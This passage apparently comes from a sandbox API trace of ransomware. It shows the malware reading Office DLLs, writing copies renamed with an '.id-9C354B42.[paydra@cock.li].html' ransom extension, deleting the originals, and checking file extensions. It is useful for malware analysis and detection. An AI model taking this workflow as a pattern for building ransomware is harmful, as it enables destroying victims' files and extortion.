returned 0x204 [0058.442] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=862608) returned 1 [0058.442] CloseHandle (hObject=0x204) returned 1 [0058.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0058.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.443] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.443] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0058.443] GetLastError () returned 0x0 [0058.443] ReadFile (in: hFile=0x204, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0xd2990, lpOverlapped=0x0) returned 1 [0058.459] WriteFile (in: hFile=0x230, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xd29a0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xd29a0, lpOverlapped=0x0) returned 1 [0058.675] ReadFile (in: hFile=0x204, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.675] WriteFile (in: hFile=0x230, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.675] SetEndOfFile (hFile=0x230) returned 1 [0058.675] CloseHandle (hObject=0x230) returned 1 [0058.676] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.676] SetEndOfFile (hFile=0x204) returned 1 [0058.682] CloseHandle (hObject=0x204) returned 1 [0058.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0058.683] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 1 [0058.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.951] lstrlenW (lpString=".doc") returned 4 [0058.951] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.951] lstrlenW (lpString=".docx") returned 5 [0058.951] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.952] lstrlenW (lpString=".pdf") returned 4 [0058.952] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.952] lstrlenW (lpString=".xls") returned 4 [0058.952] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.952] lstrlenW (lpString=".xlsx") returned 5 [0058.952] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.952] lstrlenW (lpString=".ppt") returned 4 [0058.952] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.952] lstrlenW (lpString=".zip") returned 4 [0058.952] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.952] lstrlenW (lpString=".rar") returned 4 [0058.952] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.952] lstrlenW (lpString=".bz2") returned 4 [0058.952] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.952] lstrlenW (lpString=".7z") returned 3 [0058.952] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.952] lstrlenW (lpString=".dbf") returned 4 [0058.952] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.952] lstrlenW (lpString=".1cd") returned 4 [0058.952] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.953] lstrlenW (lpString=".jpg") returned 4 [0058.953] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.953] lstrlenW (lpString=".doc") returned 4 [0058.953] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.953] lstrlenW (lpString=".docx") returned 5 [0058.953] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.953] lstrlenW (lpString=".pdf") returned 4 [0058.953] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.953] lstrlenW (lpString=".xls") returned 4 [0058.953] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.953] lstrlenW (lpString=".xlsx") returned 5 [0058.953] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.953] lstrlenW (lpString=".ppt") returned 4 [0058.953] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.953] lstrlenW (lpString=".zip") returned 4 [0058.953] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.953] lstrlenW (lpString=".rar") returned 4 [0058.953] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.953] lstrlenW (lpString=".bz2") returned 4 [0058.953] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.953] lstrlenW (lpString=".7z") returned 3 [0058.953] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.953] lstrlenW (lpString=".dbf") returned 4 [0058.953] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.953] lstrlenW (lpString=".1cd") returned 4 [0058.953] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.953] lstrlenW (lpString=".jpg") returned 4 [0058.954] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.954] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0058.954] lstrlenW (lpString="xlsrvintl.dll") returned 13 [0058.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0060.107] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=105344) returned 1 [0060.107] CloseHandle (hObject=0x1dc) returned 1 [0060.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0060.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0060.107] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.108] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0060.108] GetLastError () returned 0x0 [0060.108] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x19b80, lpOverlapped=0x0) returned 1 [0060.555] WriteFile (in: hFile=0x1c8, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x19b90, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x19b90, lpOverlapped=0x0) returned 1 [0060.839] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.839] WriteFile (in: hFile=0x1c8, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xee, lpOverlapped=0x0) returned 1 [0060.839] SetEndOfFile (hFile=0x1c8) returned 1 [0060.839] CloseHandle (hObject=0x1c8) returned 1 [0060.840] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.840] SetEndOfFile (hFile=0x1dc) returned 1 [0060.841] CloseHandle (hObject=0x1dc) returned 1 [0060.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.841] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 1 [0060.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.841] lstrlenW (lpString=".doc") returned 4 [0060.841] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.841] lstrlenW (lpString=".docx") returned 5 [0060.842] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0060.842] lstrlenW (lpString=".pdf") returned 4 [0060.842] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.842] lstrlenW (lpString=".xls") returned 4 [0060.842] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.842] lstrlenW (lpString=".xlsx") returned 5 [0060.842] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0060.842] lstrlenW (lpString=".ppt") returned 4 [0060.842] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.842] lstrlenW (lpString=".zip") returned 4 [0060.842] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.842] lstrlenW (lpString=".rar") returned 4 [0060.842] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.842] lstrlenW (lpString=".bz2") returned 4 [0060.842] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.842] lstrlenW (lpString=".7z") returned 3 [0060.842] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.842] lstrlenW (lpString=".dbf") returned 4 [0060.842] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.842] lstrlenW (lpString=".1cd") returned 4 [0060.842] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.842] lstrlenW (lpString=".jpg") returned 4 [0060.842] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.842] lstrlenW (lpString=".doc") returned 4 [0060.842] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.842] lstrlenW (lpString=".docx") returned 5 [0060.842] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0060.842] lstrlenW (lpString=".pdf") returned 4 [0060.843] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.843] lstrlenW (lpString=".xls") returned 4 [0060.843] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.843] lstrlenW (lpString=".xlsx") returned 5 [0060.843] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0060.843] lstrlenW (lpString=".ppt") returned 4 [0060.843] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.843] lstrlenW (lpString=".zip") returned 4 [0060.843] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.843] lstrlenW (lpString=".rar") returned 4 [0060.843] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.843] lstrlenW (lpString=".bz2") returned 4 [0060.843] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.843] lstrlenW (lpString=".7z") returned 3 [0060.843] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.843] lstrlenW (lpString=".dbf") returned 4 [0060.843] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.843] lstrlenW (lpString=".1cd") returned 4 [0060.843] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.843] lstrlenW (lpString=".jpg") returned 4 [0060.843] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.843] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.843] lstrlenW (lpString="ACEEXCH.DLL") returned 11 [0060.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.909] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=442272) returned 1 [0060.909] CloseHandle (hObject=0x230) returned 1 [0060.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0060.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.910] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.910] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0060.910] GetLastError () returned 0x0 [0060.910] ReadFile (in: hFile=0x230, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x6bfa0, lpOverlapped=0x0) returned 1 [0060.919] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x6bfb0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x6bfb0, lpOverlapped=0x0) returned 1 [0060.926] ReadFile (in: hFile=0x230, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.926] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.926] SetEndOfFile (hFile=0x210) returned 1 [0060.926] CloseHandle (hObject=0x210) returned 1 [0060.926] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.926] SetEndOfFile (hFile=0x230) returned 1 [0060.930] CloseHandle (hObject=0x230) returned 1 [0060.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.930] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 1 [0060.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.930] lstrlenW (lpString=".doc") returned 4 [0060.930] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.930] lstrlenW (lpString=".docx") returned 5 [0060.930] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0060.930] lstrlenW (lpString=".pdf") returned 4 [0060.930] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.930] lstrlenW (lpString=".xls") returned 4 [0060.930] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.930] lstrlenW (lpString=".xlsx") returned 5 [0060.931] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0060.931] lstrlenW (lpString=".ppt") returned 4 [0060.931] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.931] lstrlenW (lpString=".zip") returned 4 [0060.931] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.931] lstrlenW (lpString=".rar") returned 4 [0060.931] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.931] lstrlenW (lpString=".bz2") returned 4 [0060.931] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.931] lstrlenW (lpString=".7z") returned 3 [0060.931] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.931] lstrlenW (lpString=".dbf") returned 4 [0060.931] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.931] lstrlenW (lpString=".1cd") returned 4 [0060.931] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.931] lstrlenW (lpString=".jpg") returned 4 [0060.931] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.931] lstrlenW (lpString=".doc") returned 4 [0060.931] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.931] lstrlenW (lpString=".docx") returned 5 [0060.931] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0060.931] lstrlenW (lpString=".pdf") returned 4 [0060.931] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.931] lstrlenW (lpString=".xls") returned 4 [0060.931] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.931] lstrlenW (lpString=".xlsx") returned 5 [0060.931] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0060.932] lstrlenW (lpString=".ppt") returned 4 [0060.932] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.932] lstrlenW (lpString=".zip") returned 4 [0060.932] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.932] lstrlenW (lpString=".rar") returned 4 [0060.932] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.932] lstrlenW (lpString=".bz2") returned 4 [0060.932] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.932] lstrlenW (lpString=".7z") returned 3 [0060.932] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.932] lstrlenW (lpString=".dbf") returned 4 [0060.932] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.932] lstrlenW (lpString=".1cd") returned 4 [0060.932] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.932] lstrlenW (lpString=".jpg") returned 4 [0060.932] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.932] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.932] lstrlenW (lpString="ACEODBC.DLL") returned 11 [0060.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.933] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=342960) returned 1 [0060.933] CloseHandle (hObject=0x230) returned 1 [0060.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0060.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 